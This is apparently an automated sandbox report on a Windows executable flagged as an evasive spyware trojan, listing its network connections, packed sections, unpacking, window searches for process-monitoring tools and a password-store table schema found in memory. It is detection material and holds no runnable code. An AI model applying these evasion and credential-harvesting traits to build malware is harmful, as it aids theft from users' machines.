Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.231.128.9:443 -> 192.168.2.5:49800 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: yuij5p5p3W.exe	Static PE information: section name:
Source: yuij5p5p3W.exe	Static PE information: section name: .rsrc
Source: yuij5p5p3W.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008358D5	0_2_008358D5
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082B100	0_2_0082B100
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00859280	0_2_00859280
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084D34A	0_2_0084D34A
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00843B50	0_2_00843B50
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00847440	0_2_00847440
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00860460	0_2_00860460
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085C5A0	0_2_0085C5A0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00841D00	0_2_00841D00
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00860D20	0_2_00860D20
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082E687	0_2_0082E687
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00858EA0	0_2_00858EA0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00828600	0_2_00828600
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082F60D	0_2_0082F60D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082CE45	0_2_0082CE45
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00842E6D	0_2_00842E6D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00832750	0_2_00832750
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084C09E	0_2_0084C09E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083C8A0	0_2_0083C8A0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008588B0	0_2_008588B0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084A0CA	0_2_0084A0CA
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008538D0	0_2_008538D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084C0E6	0_2_0084C0E6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008360E9	0_2_008360E9
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083B8F6	0_2_0083B8F6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083D003	0_2_0083D003
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082D021	0_2_0082D021
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082D83C	0_2_0082D83C
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082C840	0_2_0082C840
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084E180	0_2_0084E180
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085F18B	0_2_0085F18B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008491AE	0_2_008491AE
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008439B9	0_2_008439B9
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008481CC	0_2_008481CC
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_009D69CC	0_2_009D69CC
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008609E0	0_2_008609E0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084C9EB	0_2_0084C9EB
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00825901	0_2_00825901
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00846910	0_2_00846910
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084C09E	0_2_0084C09E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00826160	0_2_00826160
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083E960	0_2_0083E960
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00838169	0_2_00838169
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082397B	0_2_0082397B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00859A80	0_2_00859A80
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00848ABC	0_2_00848ABC
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00839AD0	0_2_00839AD0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008442D0	0_2_008442D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083E220	0_2_0083E220
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085CA40	0_2_0085CA40
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085DA4D	0_2_0085DA4D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00855A4F	0_2_00855A4F
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00824270	0_2_00824270
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083EB80	0_2_0083EB80
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082F3C0	0_2_0082F3C0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008273D0	0_2_008273D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF	0_2_00876BDF
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008483D8	0_2_008483D8
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00829310	0_2_00829310
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00838B1B	0_2_00838B1B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082AB40	0_2_0082AB40
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00841340	0_2_00841340
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084F377	0_2_0084F377
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00834CA0	0_2_00834CA0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008404C6	0_2_008404C6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008424E0	0_2_008424E0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0082D4F3	0_2_0082D4F3
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00851CF0	0_2_00851CF0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00853C10	0_2_00853C10
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085A440	0_2_0085A440
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56	0_2_00876C56
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083747D	0_2_0083747D
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00857DA9	0_2_00857DA9
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00825DC0	0_2_00825DC0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085A5D4	0_2_0085A5D4
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085CDF0	0_2_0085CDF0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083051B	0_2_0083051B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00831D2B	0_2_00831D2B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00846D2E	0_2_00846D2E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00859D30	0_2_00859D30
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084C53C	0_2_0084C53C
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084CD4C	0_2_0084CD4C
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084CD5E	0_2_0084CD5E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00844560	0_2_00844560
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085FD70	0_2_0085FD70
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083AEB0	0_2_0083AEB0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008446D0	0_2_008446D0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_008606F0	0_2_008606F0
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085FE00	0_2_0085FE00
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083961B	0_2_0083961B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083E630	0_2_0083E630
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00858650	0_2_00858650
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084EE63	0_2_0084EE63
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00840E6C	0_2_00840E6C
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0084FE74	0_2_0084FE74
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00829780	0_2_00829780
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00845F1B	0_2_00845F1B
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00849739	0_2_00849739
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00847740	0_2_00847740
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00836F52	0_2_00836F52
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083DF50	0_2_0083DF50

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: String function: 00827F60 appears 40 times
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: String function: 00834C90 appears 77 times

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 2016

Source: yuij5p5p3W.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: yuij5p5p3W.exe

Static PE information: Section: ZLIB complexity 0.9995149101307189

Source: yuij5p5p3W.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@3/3

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Code function: 0_2_00852070 CoCreateInstance,

0_2_00852070

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7108

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\cda7c8d0-0f14-4e0b-b529-7e8b09e63012

Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: yuij5p5p3W.exe, 00000000.00000003.2320820099.0000000005378000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2346229626.00000000053F2000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2321095352.000000000535B000.00000004.00000800.00020000.00000000.sdmp, yuij5p5p3W.exe, 00000000.00000003.2346029179.0000000005361000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: yuij5p5p3W.exe	Virustotal: Detection: 48%
Source: yuij5p5p3W.exe	ReversingLabs: Detection: 60%

Source: yuij5p5p3W.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: yuij5p5p3W.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNePW

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

File read: C:\Users\user\Desktop\yuij5p5p3W.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\yuij5p5p3W.exe "C:\Users\user\Desktop\yuij5p5p3W.exe"
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7108 -s 2016

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: yuij5p5p3W.exe

Static file information: File size 2934784 > 1048576

Source: yuij5p5p3W.exe

Static PE information: Raw size of opvaxgcz is bigger than: 0x100000 < 0x2a2c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe

Unpacked PE file: 0.2.yuij5p5p3W.exe.820000.0.unpack :EW;.rsrc :W;.idata :W;opvaxgcz:EW;osbiylah:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;opvaxgcz:EW;osbiylah:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: yuij5p5p3W.exe

Static PE information: real checksum: 0x2cd799 should be: 0x2d1f7e

Source: yuij5p5p3W.exe	Static PE information: section name:
Source: yuij5p5p3W.exe	Static PE information: section name: .rsrc
Source: yuij5p5p3W.exe	Static PE information: section name: .idata
Source: yuij5p5p3W.exe	Static PE information: section name: opvaxgcz
Source: yuij5p5p3W.exe	Static PE information: section name: osbiylah
Source: yuij5p5p3W.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_0078634A push edi; ret	0_3_00786350
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_0078634A push edi; ret	0_3_00786350
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_00788781 push ds; retf 0014h	0_3_00788782
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_00788781 push ds; retf 0014h	0_3_00788782
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_0078634A push edi; ret	0_3_00786350
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_0078634A push edi; ret	0_3_00786350
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_00788781 push ds; retf 0014h	0_3_00788782
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_00788781 push ds; retf 0014h	0_3_00788782
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_0078634A push edi; ret	0_3_00786350
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_0078634A push edi; ret	0_3_00786350
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_00788781 push ds; retf 0014h	0_3_00788782
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_3_00788781 push ds; retf 0014h	0_3_00788782
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00857069 push es; retf	0_2_00857074
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0085C990 push eax; mov dword ptr [esp], 5C5D5E5Fh	0_2_0085C99E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push 312C269Ch; mov dword ptr [esp], edi	0_2_00880DC6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push edi; mov dword ptr [esp], ebx	0_2_00880DEA
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push ecx; mov dword ptr [esp], edi	0_2_00880DFF
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push 27CD1901h; mov dword ptr [esp], eax	0_2_00880E16
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push edx; mov dword ptr [esp], 4CEAD99Ah	0_2_00880E2E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push ecx; mov dword ptr [esp], eax	0_2_00880EC1
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push 03580100h; mov dword ptr [esp], ebp	0_2_00880F37
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876BDF push ebx; mov dword ptr [esp], 00000004h	0_2_00880F44
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_0083B324 push F3B90086h; retf	0_2_0083B32A
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push 312C269Ch; mov dword ptr [esp], edi	0_2_00880DC6
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push edi; mov dword ptr [esp], ebx	0_2_00880DEA
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push ecx; mov dword ptr [esp], edi	0_2_00880DFF
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push 27CD1901h; mov dword ptr [esp], eax	0_2_00880E16
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push edx; mov dword ptr [esp], 4CEAD99Ah	0_2_00880E2E
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push ecx; mov dword ptr [esp], eax	0_2_00880EC1
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push 03580100h; mov dword ptr [esp], ebp	0_2_00880F37
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Code function: 0_2_00876C56 push ebx; mov dword ptr [esp], 00000004h	0_2_00880F44

Source: yuij5p5p3W.exe

Static PE information: section name: entropy: 7.984980514400285

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\yuij5p5p3W.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
